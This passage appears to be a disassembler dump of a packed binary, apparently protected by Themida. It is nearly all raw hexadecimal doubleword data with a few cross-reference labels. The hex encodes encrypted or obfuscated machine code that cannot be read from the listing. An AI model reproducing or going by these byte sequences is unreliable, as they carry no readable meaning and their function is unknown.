3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h dd 325675B1h, 0B3BC3BEBh, 0BF5050E9h, 3EE81334h, 0E5D4DEB7h dd 0BF50A6E4h, 3FB4FA33h, 0E9D463B7h, 0DA5078E4h, 3256B3FFh dd 32562659h, 0F5D469B1h, 32505AE4h, 6056ABB1h, 3B9B5077h dd 5A00ECB6h, 0AEFECDE3h, 3FCF0F4Eh, 0B7DB5BB6h, 345CDE89h dd 0B7DF874Eh, 3451A428h, 323ED1DBh, 5A56EAA1h, 325578F1h dd 0E2A9BADBh, 469656EBh, 0F5D42782h, 0BB505AE4h, 3F036033h dd 3F166CB7h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h, 32564DB1h dd 3252AED9h, 0CD563DB1h, 35593223h, 0B0DF8FB7h, 345BBCAAh dd 0F5D3FED0h, 0F150B7E4h, 3FD49AD1h, 3250A9B6h, 0F55617B1h dd 35779633h, 3246D5B7h, 52958BB1h, 6791CF3Ah, 0DD5BCBCh dd 0B17529B1h, 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h dd 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h, 0F137475Ah dd 52BADCE4h, 3256AB59h, 0D8D78FB1h, 345BB3C7h, 6449C73Ah dd 77DDBCBCh, 0B150D4B9h, 3F00B133h, 0FB3753B7h, 5256AF73h dd 3256D559h, 0D8D7B0B1h, 345B2C2Bh, 644D083Ah, 806D5BBCh dd 345BF8AEh, 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h dd 30BDACB2h, 7115639Ah, 2C7BD83Ah, 0BFDDA8B6h, 345174FCh dd 3B24738Ah, 37210C8Ah, 0D9522C32h, 46994E78h, 7FEB33B9h dd 0D9505A92h, 5295CF06h, 32565759h, 0D8D7F1B1h, 345B8C43h dd 644D503Ah, 32EF73BCh, 156BAB0h, 0B9FDAE71h, 3F00B533h dd 2DD4DEB7h, 5350A6E7h, 32BEB572h, 6856EAB1h, 684A9F30h dd 0B790BCBCh, 3451547Ch, 5F6FC6E7h, 87A983AEh, 3451A628h dd 426E503Ch, 0E2A9ECBBh, 323E25E3h, 5856BA31h, 0F5E4A2B1h dd 0CD50A3E4h, 5A0C0F61h, 32562BB1h, 80A9D5DBh, 345BBCAAh dd 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h, 345B0DDBh dd 0DA5EDE3Ah, 3256D729h, 0E5C415E4h, 6F5078E4h, 475ACF8Ah dd 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh dd 3256EA59h, 0D8D72FB1h, 345BE02Fh, 0B95E283Ah, 6401BECCh dd 32566059h, 4696A0B1h, 67AE5E90h, 6781784Eh, 90B73BCh dd 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch dd 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h dd 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h, 35D42DB1h dd 335078E7h, 0B956BAB1h, 0B93055C4h, 0F5EC25AFh, 0B9505AE4h dd 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h dd 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh dd 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh dd 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h dd 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h dd 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h dd 0CD693C5h, 0B26E239Ch, 122C38Fh, 6451574Eh, 0B930ECBCh dd 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h dd 21226B30h, 0A0A980D1h, 345BBF66h, 0CE13FCECh, 0CE2B39D0h dd 0B93528B0h, 3551A30Bh, 0B0DD07B7h, 345BFDB6h, 6A66E988h dd 88DDBAC3h, 3451548Ch, 35D431E1h dd 0B5050E7h, 4D0E9E8Dh, 0F546BC8Ch, 325453F4h, 35BDD5B1h dd 33AEAF76h, 0B95675B1h, 3F037D0Bh, 3949D6B7h, 949DA6Ah dd 0B959226Fh, 4FD5A7ECh, 3122D549h, 0BBAEB7B2h, 0F5D571EEh dd 1B451A5h, 3296B471h, 0B930AEB1h, 3E2BDCAFh, 46BD5031h dd 0C2B555BBh, 46261131h, 0F4649EA7h, 759153B6h, 32565DB0h dd 0B19125B1h, 0A5BF5271h, 5456ABB1h, 3A59D276h, 0D1D6F43Bh dd 0B29DF5BEh, 0F557E539h, 32565FF6h, 0F5DDAEB1h, 0D9509732h dd 0CD7CDC8h, 3D224521h, 47C6D431h, 4CD713BFh, 46C62A4Eh dd 0B952B6B3h, 0BF094576h, 3F007433h, 0CD00FBB7h, 3F030E23h dd 4696E1B7h, 0BF9EFEBBh, 3F009903h, 6446B6B7h, 0CD03603Ah dd 3F038023h, 0FC7DF6B7h, 0B1080C46h, 475712CCh, 981FC5A1h dd 0B75902D7h, 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h dd 549FDE09h, 3DEE8C1Ah, 3DFD1335h, 9957FC07h, 96A55F5Ah dd 6B0D693Ah, 0F09F08EFh, 0B903ABB9h, 32BEB55Dh, 6856EAB1h dd 6EAA9F30h, 77DDBCBCh, 0FDD4D4B9h, 5350A3E4h, 32529578h dd 0B1BA20E4h, 0DA362D75h, 3256EAB1h, 2FBCF4EBh, 0F550B7ECh dd 3256A5F4h, 7791AEB1h, 3256574Dh, 549698B1h, 0B091CB3Ah dd 345BBCB6h, 325675B0h, 0A2AD3BD7h, 0B2562821h, 0B659464Ah dd 325656B9h, 0DBAD2BF1h, 32A851BEh, 0B216EAB1h, 0B6599E4Ah dd 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h, 3156ABB1h dd 355D6033h, 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah dd 3256AE0Dh, 55ADD6D7h, 88D2A452h, 0B256D5B1h, 0C9D61A52h dd 87D27AC1h, 5456BAB1h, 0D1D6433Ah, 8AAD2E49h, 0CD610C5h dd 0B214DFB4h, 0F22F88Fh, 463ED431h, 0B0A93589h, 345BECB6h dd 0B248D6D7h, 0B3305656h, 46BED64Ah, 2CDDCD95h, 54A63231h dd 0F2D71130h, 673662C5h, 6781284Eh, 0BB0B5BBCh, 0B13752F4h dd 3D57ABCCh, 32578334h, 3FEC5EB1h, 6250EDB6h, 6451F73Ah dd 0E6FBCBCh, 0B0590581h, 3256AFA0h, 136BED3Ah, 0B906ADB6h dd 3F00D233h, 26AD3B7h, 0C8D97AE9h, 0B956BAB1h, 3F03960Bh dd 0F9D42DB7h, 26505AE4h, 75DF9C38h, 0B0DD85A1h, 345BBCB6h dd 6A66693Ah, 0DB5EE538h, 32565D64h, 30AEEB76h, 0D95657B1h dd 0CA136CB6h, 3256D5B0h, 679D503Ah, 0B0D573BCh, 345BEF7Ah dd 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h, 3F00AC33h, 3256D7B7h dd 0B15301B1h, 6D2B7749h, 32AEC732h, 845946C5h, 0B2FFAFF7h dd 475657B1h, 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh, 0D9539D32h dd 0A8DDE9BAh, 345B0BB6h, 6965AA3Ah, 32565718h, 3142DE31h dd 37965677h, 645168B2h, 0BB1E73BCh, 75DFB2F6h, 0C500B6BDh dd 0C5908569h, 3796D469h, 645129B2h, 0BB1ED3BCh, 75DFE2F6h dd 1689EBDh, 33103071h, 1323DD19h, 0F2D568B2h, 3257ECB3h dd 0E95DABB1h, 0A8DCDCC5h, 345A6BA0h, 31579631h, 3A113372h dd 0D95A1A38h, 178E59A5h, 3256574Eh, 0EAA16D9Ah, 0BB541532h dd 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h dd 0D8D70DB1h, 345BF49Fh, 67916F3Ah, 0FB65ECBCh, 3D564A32h dd 32567835h, 0CD51D6B1h, 47A9A2C4h, 41BE07B9h, 4156ABB0h dd 269156B4h, 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh, 330AB586h dd 0B059AEB1h, 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h dd 4DD589F4h, 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h dd 3253124Eh, 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h dd 0B9174CC4h, 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh dd 6DDDEEF6h, 3A094EBDh, 0B904AFC4h, 677D59E6h, 2603ADA1h dd 195A083Ah, 37BD286Bh, 0B9443EEBh, 6DDDEEF6h, 36095EBDh dd 31535132h, 3555AC3Bh, 22292DB7h, 735722B2h, 6EDF729Ah dd 0CDEED4B0h, 8BA9154Eh, 325675B4h, 64BF1142h, 53A9A24Eh dd 32466C78h, 0B1BADCE4h, 0DA365775h, 3256D5B1h, 2BBC6BEBh dd 0B95078D1h, 3F037D0Bh, 0B19F6EB7h, 0B659AE8Eh, 32565720h dd 47A9AC3Ah, 3A232ABDh, 32DE02E1h, 372575B1h, 0D9427D32h dd 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h, 3256DA59h, 0B93CA7B1h dd 356F16F4h, 77A916C3h, 3629394Dh, 0B15E29B1h, 4656A2CEh dd 8A58BCB3h, 0CDA9544Eh, 3256D008h, 0D9FD19B1h, 2229F67Ah dd 0B159CEB4h, 47504DCEh, 75DDEFA0h, 3E09DCB5h, 75DDB65Ah dd 3E095EB5h, 75DDF95Ah, 3E09FEB5h, 0B152E59Ah, 4DD5585Ah dd 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh, 0CDA92A4Eh, 3256EF08h dd 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h, 77DDCE5Dh, 3E136CB9h dd 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh dd 0CE92DE5Dh, 325646D1h, 0B30C57B1h, 3F36445Bh, 19FE6B7h dd 0CE0B636Ah, 6791CF3Ah, 0DD5BCBCh, 0B13229B1h, 3723518Eh dd 0D9429032h, 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h dd 0F5D546F4h, 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h dd 0B952923Ah, 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah dd 6D7DA2EEh, 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h dd 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah dd 6107FB72h, 3256D559h, 0D8D7B0B1h, 345B14CBh, 6789203Ch dd 56EE5BBCh, 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah dd 4097D1B5h, 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah dd 345B8FDAh, 3ABD784Eh, 0E9C74F3Ch, 0E1A9ECBCh, 0F10E2CEAh dd 0DABA31E4h, 32565DB1h, 0FBBC2FEBh, 52505AD0h, 6789113Ch dd 77DDD3BCh, 0B95163B9h, 75DF79F4h, 221331B5h, 0B95A1A38h dd 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 355F1834h, 283EADB7h dd 0CDFE62C2h, 355B2304h, 0AD3D0B7h, 0CD50A4C1h, 0B8DB0561h dd 345BFDBAh, 68862AE0h, 645D683Ch, 855973BCh, 0EADDB6F1h dd 686752E3h, 0B0DF6DB2h, 34517774h, 5251C3D0h, 0E8h, 0EA815A00h dd 60D623Ah, 0C5828B52h, 0B9060720h, 41C64E6Dh, 55AE1F7h dd 3039h, 0FFFFFF25h, 0C582897Fh, 5A060720h aYQrs db 'YцQRХ',0 ; DATA XREF: Themida_:0053DFF8o align 4 dd 0EA815A00h, 60D626Ah, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h dd 0C3595AC2h, 0C08BC08Bh, 587B858Dh, 0D0FF060Dh, 8DC18B66h dd 0D623385h, 59858906h, 8D060730h, 0D626385h, 39858906h dd 0B8060718h, 0 dd 840FC00Bh, 47h, 9CD85C6h, 68560607h, 0A9C530DFh, 0D99B5FFh dd 858D0607h, 60A7038h, 8D50D0FFh, 71A018Dh, 46A5106h dd 100068h, 19B5FF00h, 0FF060723h, 19BD8BD0h, 3060723h dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 70C899Dh, 0B038B06h dd 5840FC0h, 8B000000h, 4438900h, 234CF6B9h, 0D08D8D00h dd 89060D63h, 71F7585h, 0D98D8906h, 8906071Ah, 70FCD85h dd 1D85C706h, 5C060710h, 8B00005Ch, 7221185h, 5AFC5606h dd 330585C7h, 607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 66D2A3C3h, 7554CE81h dd 7C5B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 225B93C3h, 0A2E0FA2Eh, 461BD8Bh dd 95FF0607h, 6071859h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 59C35242h, 0E10A15D0h, 0BD31C38Bh, 60711FDh dd 95FF006Ah, 6070D69h, 2AEBC08Bh, 0E8080B9Ah, 7DAE8E35h dd 5FAB9520h, 0D2B7C6C3h, 8C44B0EEh, 108220D4h, 0B19CF96Ah dd 2CA4533Ah, 106F1199h, 6EB63291h, 8D8D3C5Eh, 60D648Bh dd 0EC098FBAh, 0D98D8979h, 6A06071Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6C2EC355h dd 0E22247D3h, 0B4D78BE5h, 1D85C79Fh, 0A4060710h, 6A00005Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 69FFC355h, 360F2AE7h, 85C76952h, 6073305h dd 0 dd 2645BD89h, 0B5FF0607h, 60705D1h, 0E9DBE7BFh, 5995FF36h dd 6A060718h, 6995FF00h, 8B06070Dh, 0D86CEBC0h, 523D5B14h dd 67E247Eh, 64E3224Eh, 99957EA5h, 64315148h, 5B23C443h dd 0BAB11C52h, 4E2FFE81h, 5EACB2E9h, 12140152h, 28957727h dd 86A82B8Eh, 0EDD001F6h, 9D7628EDh, 0DD2346A4h, 19F9E168h dd 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h, 0DC06AC1Ah, 89833F7Fh dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h, 0E7CE8469h dd 0E8F4F7F9h, 5, 0F69365F2h, 235AFCF4h, 70A018Dh, 0DBC28106h dd 66000064h, 0BB6D58B8h, 190Ch, 5658D01h, 32FF0607h, 1B09BD8Bh dd 8B5E0607h, 0D2EE81FEh, 603DCFDAh, 8161F58Ah, 79CBA4C6h dd 0ED85334Ch, 81060719h, 0FDE84DF6h, 6EC88153h, 89632E62h dd 119D2932h, 81060722h, 0BE6E57EAh, 8130B058h, 0BE6E53C2h dd 0CE958h, 2310000h, 934B8C69h, 4526539Ch, 0EB81E972h dd 1, 13850Fh, 0BD890000h, 60714A9h, 22E9h, 2899B500h dd 0EBAED462h, 0E1850347h, 0E906072Ah, 0FFFFFF82h, 296DD7FCh dd 0BD6AECEDh, 7793D43Dh, 0EBB70F91h, 0E9DA1708h, 6Eh dd 0B3EE900h, 77680000h, 0E9060D67h, 0FFFADBE0h, 0D68BD68h dd 0DBD6E906h, 8D68FFFAh, 0E9060D6Ah, 0FFFADBCCh, 0D6B7568h dd 0DBC2E906h, 0C868FFFAh, 0E9060D6Ch, 0FFFADBB8h, 0D6E6868h dd 0DBAEE906h, 6768FFFAh, 0E9060D6Fh, 0FFFADBA4h, 0A7794841h dd 4416E9E0h, 0E2B4857Dh, 7A4C291Bh, 16E8BDB3h, 998F0344h dd 382BF2C4h, 0D0C48B5Dh, 695E25F7h, 6AA7C092h, 24673380h dd 0D6F33480h, 0F56055F8h, 244FBE0Bh, 0D8D6B780h, 1F3F467h dd 3302D924h, 5146FA10h, 655A2F7Ah, 1A11BC8Eh, 8553FFCh dd 18631CDh, 0CCC91620h, 0E9CA8631h, 98903D1Ah, 856FA4C7h dd 8C38E801h, 0CDA49978h, 50A1B3FEh, 25802AB2h, 6A4364BCh dd 4DF16A49h, 8AD5AAA0h, 51F090B3h, 28000000h, 428F7936h dd 438631CDh, 35363F62h, 0E895522Fh, 0FAD11CF3h, 0DE5975D7h dd 4F308C38h, 0F411F04h, 29226A1Bh, 3F160BD8h, 98FA1DF4h dd 802A4147h, 3A53B31Ch, 0F169DB61h, 10896644h, 976CE9ECh dd 0EED474h, 0FED0000h, 3B76DD0Fh, 90A6C9DDh, 2F7A5146h dd 448F645Ah, 0C6A37A6Fh, 14C2519h, 0CCE5321Ch, 0FDDE8631h dd 83680B2Eh, 0EA0DDED6h, 27F9D0C5h, 31D1A023h, 0C69D9286h dd 0D23F1DF4h, 0E9A25530h, 0F3E80D30h, 0C8613F1Ch, 0DC4F236Ch dd 5E17BADDh, 0BD7A57CDh, 3C8AB9DFh, 1437B3A9h, 3891DEB2h dd 0F9D6B78Ch, 7D57221Bh, 0E5086F5Ah, 91B10BBh, 0E4B1422Ch dd 0EE9B8633h, 1D823F8h, 0EBE1C0DEh, 2E241816h, 3DE8AF83h dd 0EEE4916Eh, 0C3704719h, 0AED3F6CFh, 0F52CE3B8h, 0F9DFD9Ch dd 8E13882h, 0D6CF0000h, 776E3507h, 130BD2A4h, 0B7A97042h dd 4B4108DAh, 91D2A476h, 8052271Dh, 19EBC6B9h, 0B3855E52h dd 4E20F7ECh, 0C10EF835h, 0C2802465h, 89368381h, 0EFCCBE95h dd 0E2D8FD20h, 8973300Dh, 8631CD3Ch, 0A3694236h, 0AE759FC2h dd 5810E2B9h, 12CC962h, 0F35780E7h, 693E3401h, 9B78471Eh dd 0A2A7F4DEh, 0C1A08631h, 528F7CAh, 0B3CAE6D0h, 0EACB8C38h dd 22DCBA9Fh, 2FDF7D78h, 9BEC4E71h, 708029D7h, 0B58EBF07h dd 2DF16972h, 0F6h, 529F8946h, 538029E3h, 46394F72h, 0E09D7A51h dd 31CCA9F6h, 0A6C9AA86h, 55382E03h, 31CD1E6Bh, 59361786h dd 31CD226Fh, 73422386h, 9C864328h, 8631CD4Fh, 0CCFA4731h dd 1AFB8631h, 0EE507354h, 8631D16Bh, 4719F0E5h, 0D7B48B80h dd 115C372Ah, 2570473Ch, 0B95C7F4Eh, 1CF96B00h, 0E8BBB25Fh dd 0E88F63C5h, 17068C38h, 2AB1E02Dh, 2BF8D980h, 0BD8F5E37h dd 2E0B1912h, 0B23A8771h, 5A3B802Ah, 74BF9A8Dh, 5B457A9Dh dd 86345CB9h, 0F5A27F60h, 0D1062900h, 9E6F6714h, 0B2897E53h dd 0A59BC0E3h, 4137FED0h, 0A2BE3F3Dh, 0B78647D4h, 0FDED2B00h dd 1660ED9Dh, 79Bh, 0EFC19089h, 8C5E3128h, 2AFCCDC5h, 0C2947163h dd 5E3005FBh, 0E1D74B8Ch, 80733A0Ch, 180CD3A5h, 0B1A66D3Fh dd 0B2EF08DAh, 24647BC8h, 3D3B7C80h, 9E7B5046h, 326FBF1h dd 461D12D9h, 5146BC74h, 0F9F09D7Ah, 0F06DB26h, 4B1AF13Ch dd 8CAF8C7Eh, 22604E9h, 541818Ah, 9A8FB4D7h, 2BFACFC5h dd 0A7BDAE59h, 0C894E0CAh, 0B4958C38h, 0E3301AD7h, 0E4802AC0h dd 583DE003h, 0C064B19Bh, 912D802Ah, 37BBF0F9h, 83A6874Dh dd 0C092695Eh, 0E22D04F9h, 7022A0D0h, 0A2020307h, 963D0EECh dd 0B2FDD4C9h, 0ECA6DDDBh, 0FFF4193Ch, 1560332Ah, 0B4926F3Eh dd 0CAD1E74Eh, 335D800Eh, 55A0776Ch, 0F7CEC370h, 1EE3301Ah dd 3E404F0h, 1F2E7EE0h, 342804F0h, 473B105Bh, 0BC2D236Eh dd 79A2B464h, 0A77E7329h, 42190ED5h, 1E91E5F7h, 37EE04F0h dd 7C43907Ah, 63440773h, 4313C065h, 6588B8D6h, 8B48065Eh dd 73C054A1h, 51745507h, 8360372Ch, 0BC07E4D6h, 0D198C2E5h dd 1BA05DCh, 331DFA6Ah, 0D7ADA1Fh, 7B3815F6h, 78B84491h dd 4164450Dh, 65FF6C17h, 0B67BAA88h, 26C5802h, 2CC0AADFh dd 0ED137F4Dh, 5FAFC10Ch, 3207734Ch, 775079C9h, 0EF78B2E3h dd 352h, 8E006027h, 2218EBE1h, 5C337E4Dh, 293B3039h, 0D6DE624Ch dd 47578C38h, 0C7350BD2h, 0CDAA79CDh, 2E512E20h, 0B067788Ch dd 6EFD0138h, 9F5C19F6h, 288F68B5h, 0A38061FFh, 288F6CB9h dd 698C6DFFh, 2F9D4F07h, 685F3E05h, 0A4734A95h, 998BA059h dd 0EB38DEBCh, 6E25E0BBh, 132C164Bh, 40B2D96h, 0A4994623h dd 7724FBCDh, 8A61AC81h, 764D4267h, 0F44F76BFh, 0DF29B624h dd 5CBh, 1FF1C0B9h, 0BC8E6158h, 5A2CFDF5h, 0F2C4A193h dd 8E60352Bh, 11077BBCh, 0B0A36A3Ch, 483C03D5h, 0E1D69D6Fh dd 0E21F380Ah, 2462ABF8h, 6D6BAC80h, 7E5BC962h, 38D14894h dd 1560418Ch, 29744B40h, 2BCD15E4h, 5D472400h, 8631CD11h dd 0A41613F1h, 114F8779h, 1DEFD0EEh, 3F8A6156h, 0C19E756Ah dd 24472014h, 0E63E6781h, 8F6C4338h, 1C06EFE2h, 86314ECFh dd 0F518E7C8h, 0E9B891CBh, 5330F770h, 68000002h, 7E5BC962h dd 3F32F994h, 0D3CA778Ch, 0DEBFDD00h, 9D874401h, 80246850h dd 2FCFAC11h, 36FC444Ah, 170D3255h, 0A8775044h, 44190FD6h dd 5C3614F9h, 102EB72Eh, 0EF93E0CAh, 0B3948023h, 0D01D07E4h dd 0C98023EFh, 1163C5E8h, 818023F0h, 0ECC3B78Ch, 0FBD21DFAh dd 3B0AE12Ch, 0E19ABB84h, 0AEF88597h, 4E3h, 3709D8D1h dd 0D4A67970h, 7244150Dh, 0ADCB9ABh, 0A6784D43h, 291F93D4h dd 0C8BB8254h, 60541BEDh, 0F9EEB587h, 0FA375022h, 2461C310h dd 8583C480h, 0BCAF5836h, 0F72F452Ah, 0C4A0CBD4h, 836D2AE7h dd 86313F36h, 0C92B4E2Fh, 8C3EA42Eh, 0EABF0AEBh, 854C1EF5h dd 996EB990h, 6882CDA4h, 4439E73Fh, 88619B6Dh, 0F1637Ch dd 182h, 7A514638h, 0E902E09Dh, 7FA24478h, 77F5424Ch, 0EDD78631h dd 863177A0h, 13F2B899h, 25FC471Eh, 0BB903356h, 25FCF1C6h dd 0CFAD8456h, 44C57F42h, 0C2CBEEB3h, 0DEBBA9h, 0D585F522h dd 33688BFDh, 38C8C549h, 0DDD5B48Ch, 0DF23D0Ch, 0C8196650h dd 391A802Ah, 0C763B416h, 0CF38802Ah, 5E7D5677h, 0B360F16Ah dd 0C0E7E5C0h, 0E14147FDh, 2730D0F3h, 68000000h, 392CC962h dd 0F10698DAh, 0FAE4C190h, 8C38C9DEh, 798BD6B7h, 802AC828h dd 1B4C94FDh, 0F16A6342h, 9FBAh, 5146F200h, 645A2F7Ah dd 7A6F448Fh, 50E8C6A3h, 2330B785h, 4B20C3E6h, 0A9AD7F56h dd 86312F26h, 6E40170Ch, 0DFBCA8C3h, 3AD1D1F5h, 1004B18Ch dd 0F215EC37h, 5916F3D4h, 0BDE0B7ACh, 0FBCDA298h, 0B2693E34h dd 0A3F88597h, 90E630BDh, 7E000003h, 1DE4B685h, 0BA815326h dd 581FF1C2h, 0F0B78966h, 815325FAh, 1D6CC40h, 9A75682Fh dd 340D01C8h, 0CFA69B62h, 0BDA7E4FDh, 80246070h, 362A2869h dd 0CD428F79h, 453C8631h, 8A502772h, 6B6186A9h, 9FDBB996h dd 5204FE05h, 7A416B8Eh, 24DCAE85h, 2F7A5146h, 0BC8E655Ah dd 2D0A1A11h, 38E62F43h, 69D6E68Ch, 6C2EECBBh, 3614F1C0h dd 0A9B3E630h, 0A2A6243Bh, 28A89209h, 81933659h, 802A9032h dd 0D06ABAE3h, 2ECC95Bh, 8631A8EEh, 2CE9C6A7h, 31A8F542h dd 0EA0DEE86h, 514608C0h, 1897B54Bh, 8FE19A86h, 0CE1B19FFh dd 66B18014h, 0A0969C91h, 75AE03BFh, 0A5807340h, 0E2B4835Ah dd 53303437h, 3847E569h, 9673548Ch, 4C4BCDB8h, 6B8E4EE0h dd 0E65B6C8h, 0D13A802Ah, 0A57F5871h, 8462F169h, 0ACEBDF84h dd 7F1F42B4h, 2Eh, 5BC962B7h, 0C0DBA07Eh, 0E3EB335Eh, 0F4CB16EFh dd 0E3CD0225h, 8C380BC7h, 8092DDBEh, 802A0A2Fh, 224B9B04h dd 0F169A549h, 0CEC1h, 5146F900h, 0A9A5264Bh, 0A6735DC5h dd 0B58CD7B4h, 0D0C69BE6h, 0E6DBB0FBh, 0F7421F11h, 31065120h dd 9A73673Ch, 0D7A9784Fh, 314250D3h, 764D4286h, 11E8DDA4h dd 61E0DC6h, 716F3F29h, 5E6E8C38h, 0EB16628Fh, 0EDCA99B2h dd 50734C40h, 0ACA24F26h, 3C170AD7h, 91B1019h, 9916F2Ch dd 8D4890D4h, 4F79DBFEh, 4A86340Bh, 0C4D6693Ah, 0AF7E27F0h dd 5C2F25D2h, 0EDBF8E69h, 0A45B3026h, 9DFE2DAFh, 0F0E22CB9h dd 0DE000001h, 7D4416E5h, 1AE1B386h, 0B87F5122h, 5017E9C6h dd 0E1B3855Ah, 61362CA0h, 0FAD5C88Fh, 946D6128h, 2F06FBC2h dd 1D07445Dh, 80245ED0h, 468A88C9h, 0F19E7B50h, 5D2E26FDh dd 496C3B12h, 8C63581Fh, 4236E3BAh, 62304669h, 0D17E5BC9h dd 0E5BC07DAh, 5A78DBE7h, 23461294h, 0E3E804EEh, 0CD8A8C37h dd 29E196E3h, 8BAE8F80h, 2F418C6Dh, 8029E1DEh, 0D1FA4AB3h dd 0F1697CF8h, 0BA70h, 0EADC8900h, 0C8EBC20Dh, 7A5146B2h dd 8F645A2Fh, 0D1AF3244h, 0B3918631h, 30F3EF6Ch, 96BBDE8Dh dd 31F8CAA1h, 611A653Ch, 937D5ACAh, 8C3894C3h, 0DB86B2C2h dd 0CF2D2105h, 83762300h, 0DC63B09Ah, 83648029h, 0BC6791B4h dd 2BD8B5AFh, 3A115C39h, 6FF8E217h, 0E0863387h, 0FD4A34F1h dd 0F6862372h, 72BE0B15h, 0D6B78623h, 0C06D2A07h, 0AFD4F7C8h dd 4B12E4B9h, 94C98055h, 0E89DFDD2h, 0F1115Bh, 0E6DF0000h dd 877E4517h, 231BE2B4h, 0C7B98052h, 5B5118EAh, 0A1E2B486h dd 9062372Dh, 29FBD6C9h, 0C3956E62h, 5E3007FCh, 0D11E0845h dd 0D280245Dh, 50469391h, 0EDE2A97Bh, 368C4416h, 0CD428F79h dd 62438631h, 4E251A3Fh, 62392E03h, 1A0CB990h, 0F81BF23Dh dd 0BE87CEFh, 3F328221h, 539E7F8Ch, 0F3CEC16Eh, 0DFB6ABD0h dd 9289360Dh, 0A58F74BFh, 80246758h, 7EA17051h, 0C27F6459h dd 24678BD8h, 0A1AB8C80h, 80246754h, 5AA57455h, 0FCD3C875h dd 55B7DAB1h, 0E9091359h, 135E3329h, 25704B3Eh, 0AC6CB43Dh dd 813F8788h, 1CE3B58Ch, 20055027h, 0FF2C7963h, 4C2D1747h dd 37120429h, 471E6944h, 62582D78h, 735D428Dh, 1747FF26h dd 7A713E1Fh, 48175CA7h, 340340F8h, 64392EECh, 734A9572h dd 4EFBD2A4h, 375C7F5Ch, 0D6206B42h, 3, 466767FEh, 5E337E4Dh dd 72479269h, 855AA57Eh, 976CB792h, 0AC81CCA1h, 0C196E1B6h dd 0D2A7F2CFh, 0E9BE09DAh, 88D41FF2h, 4EC81h, 0C890000h dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 598F68h, 24048900h dd 12B668h, 24348900h, 0A6685653h, 5E097B23h, 0BDA1EE81h dd 0F389036Dh, 5BD8895Eh, 2F268h, 24248900h, 4240481h dd 5E000000h, 89C38953h, 1C8B085Eh, 4C48324h, 5724348Bh dd 0C781E789h, 4, 8704C783h, 0FF5C243Ch, 81582434h, 4C4h dd 0D0B2E900h, 154FFFFAh, 5B4B546Fh, 0D707DB8h, 0FFC50306h dd 1D1D0AE0h, 0D7776034h, 0F29AC305h, 0CB73D11Ch, 9DA8A452h dd 325FFA26h, 15799E0Bh, 905C0F63h, 7A5C5A0Ah, 11535414h dd 0F01B47Bh, 8AB06526h, 7F2D654Fh, 2184CC17h, 34B3AE17h db 2Ah byte_5A3901 db 0E8h, 0Fh, 0 ; DATA XREF: Themida_:00550694o dd 0E85D0000h, 6D794C30h, 0E26EF24Bh, 0C9CB43B9h, 11E8C0h dd 33C90000h, 0CFFE2130h, 54957B00h, 